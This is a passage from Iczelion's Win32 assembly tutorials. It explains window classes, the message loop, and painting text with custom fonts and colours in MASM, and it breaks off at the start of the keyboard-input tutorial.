Upon returning from WinMain, eax is filled with exit code. We pass that exit code as the parameter to ExitProcess which terminates our application.

WinMain proc Inst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD

The above line is the function declaration of WinMain. Note the parameter:type pairs that follow PROC directive. They are parameters that WinMain receives from the caller. You can refer to these parameters by name instead of by stack manipulation. In addition, MASM will generate the prologue and epilogue codes for the function. So we don't have to concern ourselves with stack frame on function enter and exit.

LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND

LOCAL directive allocates memory from the stack for local variables used in the function. The bunch of LOCAL directives must be immediately below the PROC directive. The LOCAL directive is immediately followed by <the name of local variable>:<variable type>. So LOCAL wc:WNDCLASSEX tells MASM to allocate memory from the stack the size of WNDCLASSEX structure for the variable named wc. We can refer to wc in our codes without any difficulty involved in stack manipulation. That's really a godsend, I think. The downside is that local variables cannot be used outside the function they're created and will be automatically destroyed when the function returns to the caller. Another drawback is that you cannot initialize local variables automatically because they're just stack memory allocated dynamically when the function is entered . You have to manually assign them with desired values after LOCAL directives.

mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc

The inimidating lines above are really simple in concept. It just takes several lines of instruction to accomplish. The concept behind all these lines is window class. A window class is nothing more than a blueprint or specification of a window. It defines several important characteristics of a window such as its icon, its cursor, the function responsible for it, its color etc. You create a window from a window class. This is some sort of object oriented concept. If you want to create more than one window with the same characteristics, it stands to reason to store all these characteristics in only one place and refer to them when needed. This scheme will save lots of memory by avoiding duplication of information. Remember, Windows is designed in the past when memory chips are prohibitive and most computers have 1 MB of memory. Windows must be very efficient in using the scarce memory resource. The point is: if you define your own window, you must fill the desired characteristics of your window in a WNDCLASS or WNDCLASSEX structure and call RegisterClass or RegisterClassEx before you're able to create your window. You only have to register the window class once for each window type you want to create a window from.
Windows has several predefined Window classes, such as button and edit box. For these windows (or controls), you don't have to register a window class, just call CreateWindowEx with the predefined class name.
The single most important member in the WNDCLASSEX is lpfnWndProc. lpfn stands for long pointer to function. Under Win32, there's no "near" or "far" pointer, just pointer because of the new FLAT memory model. But this is again a leftover from the day of Win16. Each window class must be associated with a function called window procedure. The window procedure is responsible for message handling of all windows created from the associated window class. Windows will send messages to the window procedure to notify it of important events concerning the windows it 's responsible for,such as user keyboard or mouse input. It's up to the window procedure to respond intelligently to each window message it receives. You will spend most of your time writing event handlers in window procedure.
I describe each member of WNDCLASSEX below:

WNDCLASSEX STRUCT DWORD
cbSize DWORD ?
style DWORD ?
lpfnWndProc DWORD ?
cbClsExtra DWORD ?
cbWndExtra DWORD ?
hInstance DWORD ?
hIcon DWORD ?
hCursor DWORD ?
hbrBackground DWORD ?
lpszMenuName DWORD ?
lpszClassName DWORD ?
hIconSm DWORD ?
WNDCLASSEX ENDS

cbSize: The size of WNDCLASSEX structure in bytes. We can use SIZEOF operator to get the value.
style: The style of windows created from this class. You can combine several styles together using "or" operator.
lpfnWndProc: The address of the window procedure responsible for windows created from this class.
cbClsExtra: Specifies the number of extra bytes to allocate following the window-class structure. The operating system initializes the bytes to zero. You can store window class-specific data here.
cbWndExtra: Specifies the number of extra bytes to allocate following the window instance. The operating system initializes the bytes to zero. If an application uses the WNDCLASS structure to register a dialog box created by using the CLASS directive in the resource file, it must set this member to DLGWINDOWEXTRA.
hInstance: Instance handle of the module.
hIcon: Handle to the icon. Get it from LoadIcon call.
hCursor: Handle to the cursor. Get it from LoadCursor call.
hbrBackground: Background color of windows created from the class.
lpszMenuName: Default menu handle for windows created from the class.
lpszClassName: The name of this window class.
hIconSm: Handle to a small icon that is associated with the window class. If this member is NULL, the system searches the icon resource specified by the hIcon member for an icon of the appropriate size to use as the small icon.

invoke CreateWindowEx, NULL,\
ADDR ClassName,\
ADDR AppName,\
WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
NULL,\
NULL,\
hInst,\
NULL

After registering the window class, we can call CreateWindowEx to create our window based on the submitted window class. Notice that there are 12 parameters to this function.

CreateWindowExA proto dwExStyle:DWORD,\
lpClassName:DWORD,\
lpWindowName:DWORD,\
dwStyle:DWORD,\
X:DWORD,\
Y:DWORD,\
nWidth:DWORD,\
nHeight:DWORD,\
hWndParent:DWORD ,\
hMenu:DWORD,\
hInstance:DWORD,\
lpParam:DWORD

Let's see detailed description of each parameter:
dwExStyle: Extra window styles. This is the new parameter that is added to the old CreateWindow. You can put new window styles for Windows 95 & NT here.You can specify your ordinary window style in dwStyle but if you want some special styles such as topmost window, you must specify them here. You can use NULL if you don't want extra window styles.
lpClassName: (Required). Address of the ASCIIZ string containing the name of window class you want to use as template for this window. The Class can be your own registered class or predefined window class. As stated above, every window you created must be based on a window class.
lpWindowName: Address of the ASCIIZ string containing the name of the window. It'll be shown on the title bar of the window. If this parameter is NULL, the title bar of the window will be blank.
dwStyle: Styles of the window. You can specify the appearance of the window here. Passing NULL is ok but the window will have no system menu box, no minimize-maximize buttons, and no close-window button. The window would not be of much use at all. You will need to press Alt+F4 to close it. The most common window style is WS_OVERLAPPEDWINDOW. A window style is only a bit flag. Thus you can combine several window styles by "or" operator to achieve the desired appearance of the window. WS_OVERLAPPEDWINDOW style is actually a combination of the most common window styles by this method.
X,Y: The coordinate of the upper left corner of the window. Normally this values should be CW_USEDEFAULT, that is, you want Windows to decide for you where to put the window on the desktop.
nWidth, nHeight: The width and height of the window in pixels. You can also use CW_USEDEFAULT to let Windows choose the appropriate width and height for you.
hWndParent: A handle to the window's parent window (if exists). This parameter tells Windows whether this window is a child (subordinate) of some other window and, if it is, which window is the parent. Note that this is not the parent-child relationship of multiple document interface (MDI). Child windows are not bound to the client area of the parent window. This relationship is specifically for Windows internal use. If the parent window is destroyed, all child windows will be destroyed automatically. It's really that simple. Since in our example, there's only one window, we specify this parameter as NULL.
hMenu: A handle to the window's menu. NULL if the class menu is to be used. Look back at the a member of WNDCLASSEX structure, lpszMenuName. lpszMenuName specifies *default* menu for the window class. Every window created from this window class will have the same menu by default. Unless you specify an *overriding* menu for a specific window via its hMenu parameter. hMenu is actually a dual-purpose parameter. In case the window you want to create is of a predefined window type (ie. control), such control cannot own a menu. hMenu is used as that control's ID instead. Windows can decide whether hMenu is really a menu handle or a control ID by looking at lpClassName parameter. If it's the name of a predefined window class, hMenu is a control ID. If it's not, then it's a handle to the window's menu.
hInstance: The instance handle for the program module creating the window.
lpParam: Optional pointer to a data structure passed to the window. This is used by MDI window to pass the CLIENTCREATESTRUCT data. Normally, this value is set to NULL, meaning that no data is passed via CreateWindow(). The window can retrieve the value of this parameter by the call to GetWindowLong function.

mov hwnd,eax
invoke ShowWindow, hwnd,CmdShow
invoke UpdateWindow, hwnd

On successful return from CreateWindowEx, the window handle is returned in eax. We must keep this value for future use. The window we just created is not automatically displayed. You must call ShowWindow with the window handle and the desired *display state* of the window to make it display on the screen. Next you can call UpdateWindow to order your window to repaint its client area. This function is useful when you want to update the content of the client area. You can omit this call though.

.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW

At this time, our window is up on the screen. But it cannot receive input from the world. So we have to *inform* it of relevant events. We accomplish this with a message loop. There's only one message loop for each module. This message loop continually checks for messages from Windows with GetMessage call. GetMessage passes a pointer to a MSG structure to Windows. This MSG structure will be filled with information about the message that Windows want to send to a window in the module. GetMessage function will not return until there's a message for a window in the module. During that time, Windows can give control to other programs. This is what forms the cooperative multitasking scheme of Win16 platform. GetMessage returns FALSE if WM_QUIT message is received which, in the message loop, will terminate the loop and exit the program.
TranslateMessage is a utility function that takes raw keyboard input and generates a new message (WM_CHAR) that is placed on the message queue. The message with WM_CHAR contains the ASCII value for the key pressed, which is easier to deal with than the raw keyboard scan codes. You can omit this call if your program doesn't process keystrokes.
DispatchMessage sends the message data to the window procedure responsible for the specific window the message is for.

mov eax,msg.wParam
ret
WinMain endp

If the message loop terminates, the exit code is stored in wParam member of the MSG structure. You can store this exit code into eax to return it to Windows. At the present time, Windows does not make use of the return value, but it's better to be on the safe side and plays by the rule.

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM

This is our window procedure. You don't have to name it WndProc. The first parameter, hWnd, is the window handle of the window that the message is destined for. uMsg is the message. Note that uMsg is not a MSG structure. It's just a number, really. Windows defines hundreds of messages, most of which your programs will not be interested in. Windows will send an appropriate message to a window in case something relevant to that window happens. The window procedure receives the message and reacts to it intelligently. wParam and lParam are just extra parameters for use by some messages. Some messages do send accompanying data in addition to the message itself. Those data are passed to the window procedure by means of lParam and wParam.

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

Here comes the crucial part. This is where most of your program's intelligence resides. The codes that respond to each Windows message are in the window procedure. Your code must check the Windows message to see if it's a message it's interested in. If it is, do anything you want to do in response to that message and then return with zero in eax. If it's not, you MUST call DefWindowProc, passing all parameters you received to it for default processing.. This DefWindowProc is an API function that processes the messages your program are not interested in.
The only message that you MUST respond to is WM_DESTROY. This message is sent to your window procedure whenever your window is closed. By the time your window procedure receives this message, your window is already removed from the screen. This is just a notification that your window was destroyed, you should prepare yourself to return to Windows. In response to this, you can perform housekeeping prior to returning to Windows. You have no choice but to quit when it comes to this state. If you want to have a chance to stop the user from closing your window, you should process WM_CLOSE message. Now back to WM_DESTROY, after performing housekeeping chores, you must call PostQuitMessage which will post WM_QUIT back to your module. WM_QUIT will make GetMessage return with zero value in eax, which in turn, terminates the message loop and quits to Windows. You can send WM_DESTROY message to your own window procedure by calling DestroyWindow function.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 4: Painting with Text

In this tutorial, we will learn how to "paint" text in the client area of a window. We'll also learn about device context.
You can download the source code here.

Theory:

Text in Windows is a type of GUI object. Each character is composed of numerous pixels (dots) that are lumped together into a distinct pattern. That's why it's called "painting" instead of "writing". Normally, you paint text in your own client area (actually, you can paint outside client area but that's another story). Putting text on screen in Windows is drastically different from DOS. In DOS, you can think of the screen in 80x25 dimension. But in Windows, the screen are shared by several programs. Some rules must be enforced to avoid programs writing over each other's screen. Windows ensures this by limiting painting area of each window to its own client area only. The size of client area of a window is also not constant. The user can change the size anytime. So you must determine the dimensions of your own client area dynamically.
Before you can paint something on the client area, you must ask for permission from Windows. That's right, you don't have absolute control of the screen as you were in DOS anymore. You must ask Windows for permission to paint your own client area. Windows will determine the size of your client area, font, colors and other GDI attributes and sends a handle to device context back to your program. You can then use the device context as a passport to painting on your client area.
What is a device context? It's just a data structure maintained internally by Windows. A device context is associated with a particular device, such as a printer or video display. For a video display, a device context is usually associated with a particular window on the display.
Some of the values in the device context are graphic attributes such as colors, font etc. These are default values which you can change at will. They exist to help reduce the load from having to specify these attributes in every GDI function calls.
You can think of a device context as a default environment prepared for you by Windows. You can override some default settings later if you so wish.
When a program need to paint, it must obtain a handle to a device context. Normally, there are several ways to accomplish this.
    call BeginPaint in response to WM_PAINT message.
    call GetDC in response to other messages.
    call CreateDC to create your own device context
One thing you must remember, after you're through with the device context handle, you must release it during the processing of a single message. Don't obtain the handle in response to one message and release it in response to another.
Windows posts WM_PAINT messages to a window to notify that it's now time to repaint its client area. Windows does not save the content of client area of a window. Instead, when a situation occurs that warrants a repaint of client area (such as when a window was covered by another and is just uncovered), Windows puts WM_PAINT message in that window's message queue. It's the responsibility of that window to repaint its own client area. You must gather all information about how to repaint your client area in the WM_PAINT section of your window procedure, so the window procudure can repaint the client area when WM_PAINT message arrives.
Another concept you must come to terms with is the invalid rectangle. Windows defines an invalid rectangle as the smallest rectangular area in the client area that needs to be repainted. When Windows detects an invalid rectangle in the client area of a window , it posts WM_PAINT message to that window. In response to WM_PAINT message, the window can obtain a paintstruct structure which contains, among others, the coordinate of the invalid rectangle. You call BeginPaint in response to WM_PAINT message to validate the invalid rectangle. If you don't process WM_PAINT message, at the very least you must call DefWindowProc or ValidateRect to validate the invalid rectangle else Windows will repeatedly send you WM_PAINT message.
Below are the steps you should perform in response to a WM_PAINT message:
    Get a handle to device context with BeginPaint.
    Paint the client area.
    Release the handle to device context with EndPaint
Note that you don't have to explicitly validate the invalid rectangle. It's automatically done by the BeginPaint call. Between BeginPaint-Endpaint pair, you can call any GDI functions to paint your client area. Nearly all of them require the handle to device context as a parameter.

Content:

We will write a program that displays a text string "Win32 assembly is great and easy!" in the center of the client area.
.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

.DATA
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
OurText db "Win32 assembly is great and easy!",0

.DATA?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.CODE
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL rect:RECT
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke GetClientRect,hWnd, ADDR rect
invoke DrawText, hdc,ADDR OurText,-1, ADDR rect, \
DT_SINGLELINE or DT_CENTER or DT_VCENTER
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax, eax
ret
WndProc endp
end start

Analysis:

The majority of the code is the same as the example in tutorial 3. I'll explain only the important changes.

LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL rect:RECT

These are local variables that are used by GDI functions in our WM_PAINT section. hdc is used to store the handle to device context returned from BeginPaint call. ps is a PAINTSTRUCT structure. Normally you don't use the values in ps. It's passed to BeginPaint function and Windows fills it with appropriate values. You then pass ps to EndPaint function when you finish painting the client area. rect is a RECT structure defined as follows:

RECT Struct
left LONG ?
top LONG ?
right LONG ?
bottom LONG ?
RECT ends
Left and top are the coordinates of the upper left corner of a rectangle Right and bottom are the coordinates of the lower right corner. One thing to remember: The origin of the x-y axes is at the upper left corner of the client area. So the point y=10 is BELOW the point y=0.

invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke GetClientRect,hWnd, ADDR rect
invoke DrawText, hdc,ADDR OurText,-1, ADDR rect, \
DT_SINGLELINE or DT_CENTER or DT_VCENTER
invoke EndPaint,hWnd, ADDR ps

In response to WM_PAINT message, you call BeginPaint with handle to the window you want to paint and an uninitialized PAINTSTRUCT structure as parameters. After successful call, eax contains the handle to device context. Next you call GetClientRect to retrieve the dimension of the client area. The dimension is returned in rect variable which you pass to DrawText as one of its parameters. DrawText's syntax is:

DrawText proto hdc:HDC, lpString:DWORD, nCount:DWORD, lpRect:DWORD, uFormat:DWORD

DrawText is a high-level text output API function. It handles some gory details such as word wrap, centering etc. so you could concentrate on the string you want to paint. Its low-level brother, TextOut, will be examined in the next tutorial. DrawText formats a text string to fit within the bounds of a rectangle. It uses the currently selected font,color and background (in the device context) to draw the text.Lines are wrapped to fit within the bounds of the rectangle. It returns the height of the output text in device units, in our case, pixels. Let's see its parameters:

    hdc handle to device context
    lpString The pointer to the string you want to draw in the rectangle. The string must be null-terminated else you would have to specify its length in the next parameter, nCount.
    nCount The number of characters to output. If the string is null-terminated, nCount must be -1. Otherwise nCount must contain the number of characters in the string you want to draw.
    lpRect The pointer to the rectangle (a structure of type RECT) you want to draw the string in. Note that this rectangle is also a clipping rectangle, that is, you could not draw the string outside this rectangle.
    uFormat The value that specifies how the string is displayed in the rectangle. We use three values combined by "or" operator:
    • DT_SINGLELINE specifies a single line of text
    • DT_CENTER centers the text horizontally.
    • DT_VCENTER centers the text vertically. Must be used with DT_SINGLELINE.
After you finish painting the client area, you must call EndPaint function to release the handle to device context.
That's it. We can summarize the salient points here:
  • You call BeginPaint-EndPaint pair in response to WM_PAINT message.
  • Do anything you like with the client area between the calls to BeginPaint and EndPaint.
  • If you want to repaint your client area in response to other messages, you have two choices:
    • Use GetDC-ReleaseDC pair and do your painting between these calls
    • Call InvalidateRect or UpdateWindow to invalidate the entire client area, forcing Windows to put WM_PAINT message in the message queue of your window and do your painting in WM_PAINT section
This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 5: More about Text

We will experiment more with text attributes, ie. font and color.

Download the example file here.

Theory:

Windows color system is based on RGB values, R=red, G=Green, B=Blue. If you want to specify a color in Windows, you must state your desired color in terms of these three major colors. Each color value has a range from 0 to 255 (a byte value). For example, if you want pure red color, you should use 255,0,0. Or if you want pure white color, you must use 255,255,255. You can see from the examples that getting the color you need is very difficult with this system since you have to have a good grasp of how to mix and match colors.
For text color and background, you use SetTextColor and SetBkColor, both of them require a handle to device context and a 32-bit RGB value. The 32-bit RGB value's structure is defined as:

RGB_value struct
unused db 0
blue db ?
green db ?
red db ?
RGB_value ends

Note that the first byte is not used and should be zero. The order of the remaining three bytes is reversed,ie. blue, green, red. However, we will not use this structure since it's cumbersome to initialize and use. We will create a macro instead. The macro will receive three parameters: red, green and blue values. It'll produce the desired 32-bit RGB value and store it in eax. The macro is as follows:

RGB macro red,green,blue
xor eax,eax
mov ah,blue
shl eax,8
mov ah,green
mov al,red
endm

You can put this macro in the include file for future use.
You can "create" a font by calling CreateFont or CreateFontIndirect. The difference between the two functions is that CreateFontIndirect receives only one parameter: a pointer to a logical font structure, LOGFONT. CreateFontIndirect is the more flexible of the two especially if your programs need to change fonts frequently. However, in our example, we will "create" only one font for demonstration, we can get away with CreateFont. After the call to CreateFont, it will return a handle to a font which you must select into the device context. After that, every text API function will use the font we have selected into the device context.

Content:

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

RGB macro red,green,blue
xor eax,eax
mov ah,blue
shl eax,8
mov ah,green
mov al,red
endm

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
TestString db "Win32 assembly is great and easy!",0
FontName db "script",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
LOCAL hdc:HDC
LOCAL ps:PAINTSTRUCT
LOCAL hfont:HFONT

.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_PAINT
invoke BeginPaint,hWnd, ADDR ps
mov hdc,eax
invoke CreateFont,24,16,0,0,400,0,0,0,OEM_CHARSET,\
OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,\
DEFAULT_QUALITY,DEFAULT_PITCH or FF_SCRIPT,\
ADDR FontName
invoke SelectObject, hdc, eax
mov hfont,eax
RGB 200,200,50
invoke SetTextColor,hdc,eax
RGB 0,0,255
invoke SetBkColor,hdc,eax
invoke TextOut,hdc,0,0,ADDR TestString,SIZEOF TestString
invoke SelectObject,hdc, hfont
invoke EndPaint,hWnd, ADDR ps
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp

end start

Analysis:

invoke CreateFont,24,16,0,0,400,0,0,0,OEM_CHARSET,\
OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,\
DEFAULT_QUALITY,DEFAULT_PITCH or FF_SCRIPT,\
ADDR FontName

CreateFont creates a logical font that is the closest match to the given parameters and the font data available. This function has more parameters than any other function in Windows. It returns a handle to logical font to be used by SelectObject function. We will examine its parameters in detail.

CreateFont proto nHeight:DWORD,\
nWidth:DWORD,\
nEscapement:DWORD,\
nOrientation:DWORD,\
nWeight:DWORD,\
cItalic:DWORD,\
cUnderline:DWORD,\
cStrikeOut:DWORD,\
cCharSet:DWORD,\
cOutputPrecision:DWORD,\
cClipPrecision:DWORD,\
cQuality:DWORD,\
cPitchAndFamily:DWORD,\
lpFacename:DWORD

nHeight The desired height of the characters . 0 means use default size.
nWidth The desired width of the characters. Normally this value should be 0 which allows Windows to match the width to the height. However, in our example, the default width makes the characters hard to read, so I use the width of 16 instead.
nEscapement Specifies the orientation of the next character output relative to the previous one in tenths of a degree. Normally, set to 0. Set to 900 to have all the characters go upward from the first character, 1800 to write backwards, or 2700 to write each character from the top down.
nOrientation Specifies how much the character should be rotated when output in tenths of a degree. Set to 900 to have all the characters lying on their backs, 1800 for upside-down writing, etc.
nWeight Sets the line thickness of each character. Windows defines the following sizes:

    FW_DONTCARE equ 0
    FW_THIN equ 100
    FW_EXTRALIGHT equ 200
    FW_ULTRALIGHT equ 200
    FW_LIGHT equ 300
    FW_NORMAL equ 400
    FW_REGULAR equ 400
    FW_MEDIUM equ 500
    FW_SEMIBOLD equ 600
    FW_DEMIBOLD equ 600
    FW_BOLD equ 700
    FW_EXTRABOLD equ 800
    FW_ULTRABOLD equ 800
    FW_HEAVY equ 900
    FW_BLACK equ 900
cItalic 0 for normal, any other value for italic characters.
cUnderline 0 for normal, any other value for underlined characters.
cStrikeOut 0 for normal, any other value for characters with a line through the center.
cCharSet The character set of the font. Normally should be OEM_CHARSET which allows Windows to select font which is operating system-dependent.
cOutputPrecision Specifies how much the selected font must be closely matched to the characteristics we want. Normally should be OUT_DEFAULT_PRECIS which defines default font mapping behavior.
cClipPrecision Specifies the clipping precision. The clipping precision defines how to clip characters that are partially outside the clipping region. You should be able to get by with CLIP_DEFAULT_PRECIS which defines the default clipping behavior.
cQuality Specifies the output quality. The output quality defines how carefully GDI must attempt to match the logical-font attributes to those of an actual physical font. There are three choices: DEFAULT_QUALITY, PROOF_QUALITY and DRAFT_QUALITY.
cPitchAndFamily Specifies pitch and family of the font. You must combine the pitch value and the family value with "or" operator.
lpFacename A pointer to a null-terminated string that specifies the typeface of the font.

The description above is by no means comprehensive. You should refer to your Win32 API reference for more details.

invoke SelectObject, hdc, eax
mov hfont,eax

After we get the handle to the logical font, we must use it to select the font into the device context by calling SelectObject. SelectObject puts the new GDI objects such as pens, brushs, and fonts into the device context to be used by GDI functions. It returns the handle to the replaced object which we should save for future SelectObject call. After SelectObject call, any text output function will use the font we just selected into the device context.

RGB 200,200,50
invoke SetTextColor,hdc,eax
RGB 0,0,255
invoke SetBkColor,hdc,eax

Use RGB macro to create a 32-bit RGB value to be used by SetColorText and SetBkColor.

invoke TextOut,hdc,0,0,ADDR TestString,SIZEOF TestString

Call TextOut function to draw the text on the client area. The text will be in the font and color we specified previously.

invoke SelectObject,hdc, hfont

When we are through with the font, we should restore the old font back into the device context. You should always restore the object that you replaced in the device context.

This article come from Iczelion's asm page, Welcom to http://asm.yeah.net


Iczelion's win32 asm tutorial

Tutorial 6: Keyboard Input

We will learn how a Windows program receives keyboard input.

Download the example here.

Theory:

Since normally there's only one keyboard in each PC, all running Windows programs must share it between them. Windows is responsible for sending the key strokes to the window which has the input focus.
Although there may be several windows on the screen, only one of them has the input focus. The window which has input focus is the only one which can receive key strokes. You can differentiate the window which has input focus from other windows by looking at the title bar. The title bar of the window which has input focus is highlighted.
Actually, there are two main types of keyboard messages, depending on your view of the keyboard. You can view a keyboard as a collection of keys. In this case, if you press a key, Windows sends a WM_KEYDOWN message to the window which has input focus, notifying that a key is pressed. When you release the key, Windows sends a WM_KEYUP message. You treat a key as a button. Another way to look at the keyboard is that it's a character input device. When you press "a" key, Windows sends a WM_CHAR message to the window which has input focus, telling it that the user sends "a" character to it. In fact, Windows sends WM_KEYDOWN and WM_KEYUP messages to the window which has input focus and those messages will be translated to WM_CHAR messages by TranslateMessage call. The window procedure may decide to process all three messages or only the messages it's interested in. Most of the time, you can ignore WM_KEYDOWN and WM_KEYUP since TranslateMessage function call in the message loop translate WM_KEYDOWN and WM_KEYUP messages to WM_CHAR messages. We will focus on WM_CHAR in this tutorial.

Example:

.386
.model flat,stdcall
option casemap:none

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\gdi32.lib

.data
ClassName db "SimpleWinClass",0
AppName db "Our First Window",0
char WPARAM 20h ; the character the program receives from keyboard

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
